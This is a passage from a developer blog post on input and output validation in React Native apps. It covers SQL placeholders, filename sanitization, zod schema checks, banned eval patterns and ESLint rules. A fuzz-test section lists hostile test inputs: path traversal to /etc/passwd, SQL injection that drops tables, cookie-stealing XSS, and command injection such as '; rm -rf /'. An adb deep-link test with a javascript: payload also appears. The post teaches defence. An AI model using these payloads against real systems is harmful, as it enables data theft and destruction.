  { $title: note.title, $body: note.body }
);

expo-sqlite also ships a tagged template API that parameterizes automatically:

const notes = await db.sql`SELECT * FROM notes WHERE userId = ${userId}`;

The part people miss

Placeholders only work for values. Column names and sort direction can't be parameterized — you need an allowlist:

// ❌
`SELECT * FROM notes ORDER BY ${sortBy} ${direction}`

// ✅ map user input to fixed values
const SORT_COLUMNS = { date: 'createdAt', title: 'title', size: 'byteSize' };
const SORT_DIRECTIONS = { asc: 'ASC', desc: 'DESC' };

const column = SORT_COLUMNS[sortBy] ?? 'createdAt';
const dir = SORT_DIRECTIONS[direction] ?? 'DESC';
return `SELECT * FROM notes ORDER BY ${column} ${dir}`;

Path traversal in the file system

// ❌ filename = "../../../Library/Preferences/com.myapp.plist"
RNFS.readFile(`${RNFS.DocumentDirectoryPath}/${filename}`);

Sanitizing a filename properly takes more steps than people expect:

const DOCS_DIR = RNFS.DocumentDirectoryPath;
const ALLOWED_EXT = ['.pdf', '.png', '.jpg', '.txt', '.json'];

function sanitizeFilename(input) {
  if (typeof input !== 'string') return null;

  // 1. decode first — defeats double-encoding (%252e%252e%252f)
  let name;
  try { name = decodeURIComponent(input); } catch { return null; }

  // 2. throw away every directory component
  name = name.split(/[/\\]/).pop();

  // 3. allowlist charset
  if (!/^[a-zA-Z0-9._-]+$/.test(name)) return null;

  // 4. no hidden files, no traversal remnants
  if (name.startsWith('.') || name.includes('..')) return null;

  // 5. length bounds
  if (name.length === 0 || name.length > 255) return null;

  // 6. extension allowlist
  if (!ALLOWED_EXT.some(ext => name.toLowerCase().endsWith(ext))) return null;

  return name;
}

async function readDocument(filename) {
  const safe = sanitizeFilename(filename);
  if (!safe) throw new Error('Invalid filename');

  const path = `${DOCS_DIR}/${safe}`;
  // 7. belt and braces: did we stay in the sandbox?
  if (!path.startsWith(DOCS_DIR + '/')) throw new Error('Path escape');

  return RNFS.readFile(path, 'utf8');
}

Step 1 before step 2 matters. Decode after stripping directories and %2f..%2f walks right past you.

Don't trust your own backend either

This one gets pushback, so let me make the case. Your API is presumably secure. But malformed data can still reach you through a bad deploy, a cache layer, a backend bug, or an attacker with a proxy on a rooted device. Schema validation at the network boundary stops all of those at the edge instead of somewhere three components deep.

const UserProfileSchema = z.object({
  id: z.string().uuid(),
  displayName: z.string().max(100),
  avatarUrl: z.string().url().startsWith('https://'),  // rejects http://
  balance: z.number().nonnegative(),
  role: z.enum(['user', 'moderator', 'admin']),
});

async function fetchProfile(userId) {
  const response = await apiClient.get(`/users/${userId}`);
  const result = UserProfileSchema.safeParse(response.data);

  if (!result.success) {
    console.error('Schema validation failed:', result.error.issues);
    throw new Error('Invalid server response');
  }

  return result.data;  // validated and typed
}

Bonus: you get TypeScript types for free via z.infer, and a crash report that says "schema validation failed at /users/:id" instead of "undefined is not an object" from a random render.

…or your own past self

Same logic, one step further. You validate the API response and write it to
SQLite. Six screens later you read that value back and treat it as trusted,
because you wrote it.

But you wrote it with the rules that shipped in that version. Ship v1.2
without the https:// check on avatarUrl, add the check in v1.5, and every
row written by v1.2 is still sitting there unvalidated. The source got fixed;
the local copy didn't.

Persisted data is an input boundary too — it just has a slow clock. A poisoned
value can sit for months and surface long after you added the check that would
have caught it.

// ❌ trusted because "we wrote it"
const profile = await db.getFirstAsync('SELECT * FROM profiles WHERE id = ?', [id]);
openWebView(profile.avatarUrl);

// ✅ validate on read, not only on write
const row = await db.getFirstAsync('SELECT * FROM profiles WHERE id = ?', [id]);
const profile = UserProfileSchema.parse(row);
openWebView(profile.avatarUrl);

Re-parsing every row on every read gets expensive, so scope it: validate on
read for anything that flows into a sink — a WebView URL, Linking.openURL,
a native module argument, a query fragment. Display-only fields can stay
lenient; the worst case there is a rendering bug, not a code path.

(Credit to Rahul S in the comments for this one.)

The native bridge cuts both ways

const ProcessRequestSchema = z.object({
  filename: z.string().regex(/^[a-zA-Z0-9._-]+$/).max(255),
  format: z.enum(['pdf', 'png', 'jpg']),
  quality: z.number().int().min(1).max(100),
});

export async function processFile(request) {
  const result = ProcessRequestSchema.safeParse(request);
  if (!result.success) throw new Error('Invalid request');

  return NativeModules.FileProcessor.processFile(
    result.data.filename,
    result.data.format,
    result.data.quality,
  );
}

Validate the response coming back too. Native modules can fail in ways your JS types promise they won't.

Patterns to ban outright

eval(configFromServer);                          // ❌
new Function('return ' + userInput);             // ❌
require(userProvidedPath);                       // ❌
setTimeout('doSomething(' + userInput + ')', 0); // ❌

// ✅ data-driven dispatch instead
const ACTIONS = {
  refresh: () => refreshData(),
  logout: () => handleLogout(),
  navigate: (params) => navigation.navigate(params.screen),
};

function handleRemoteAction(action, params) {
  const handler = ACTIONS[action];
  if (!handler) return console.warn('Unknown action:', action);
  handler(params);
}

Enforce it in CI so it doesn't come back:

{
  "plugins": ["security"],
  "rules": {
    "no-eval": "error",
    "no-implied-eval": "error",
    "no-new-func": "error",
    "security/detect-eval-with-expression": "error",
    "security/detect-non-literal-fs-filename": "warn",
    "security/detect-object-injection": "warn"
  }
}

Test it like an attacker would

Fuzz your validators. This suite takes ten minutes to write and catches real regressions:

const MALICIOUS_PAYLOADS = [
  // path traversal
  '../../../etc/passwd',
  '..%2f..%2f..%2fetc%2fpasswd',
  '....//....//etc/passwd',
  '%252e%252e%252f',
  // sql
  "' OR '1'='1",
  "'; DROP TABLE users; --",
  // xss
  '<script>alert(1)</script>',
  '<img src=x onerror=alert(1)>',
  'javascript:alert(document.cookie)',
  // command injection
  '; rm -rf /',
  '$(whoami)',
  '`id`',
  // length + null byte + unicode
  'A'.repeat(100000),
  'file.txt\0.png',
  '\uFEFF../etc/passwd',
];

describe('sanitizeFilename', () => {
  test.each(MALICIOUS_PAYLOADS)('rejects or neutralizes: %s', (payload) => {
    const result = sanitizeFilename(payload);
    if (result !== null) {
      expect(result).toMatch(/^[a-zA-Z0-9._-]+$/);
      expect(result).not.toContain('..');
    }
  });
});

And test deep links from the shell, the way an attacker would:

adb shell am start -W -a android.intent.action.VIEW \
  -d "myapp://open?url=javascript:alert(1)" com.yourapp

Where to start Monday morning

If your codebase has never been looked at through this lens, go in this order:

Grep for template literals in SQL. db.\w+Async(`SELECT — fix every hit with ? placeholders.
Grep for injectedJavaScript. Any ${} inside it is a live bug.
Audit WebView props. originWhitelist={['*']} and missing onShouldStartLoadWithRequest are the common ones.
Add maxLength to every TextInput. Cheapest win on the list.
Schema-validate your deep link handler. It's the most exposed entry point you own.
Add the ESLint rules. Stops the bleeding while you fix the rest.

Then the bigger lifts: schema validation at the API boundary, fuzz tests in CI, a centralized validation module so this logic lives in one reviewable place.

The short version

Every trust boundary is a validation point — API, deep links, WebView, bridge, clipboard, QR codes, push payloads
Allowlist beats denylist, every time
Validation and encoding are different jobs; you need both
Client-side validation is UX; the server must repeat it, because the attacker may never open your app
WebView is an embedded browser and carries every browser risk
Context determines the defense: same string, three different treatments in SQL, HTML, and a file path

M4 looks like the boring item on the list. Building a slick auth flow is more fun than adding maxLength to a text input. But attackers don't go where it's interesting — they go where it's weak.

Next up in this series: M5: Insecure Communication — TLS config, certificate pinning, and why "we use HTTPS" isn't the end of the conversation.

Have you found one of these in your own codebase? I'd genuinely like to hear which one — the WebView props and the ORDER BY allowlist are the two that seem to catch the most experienced teams off guard.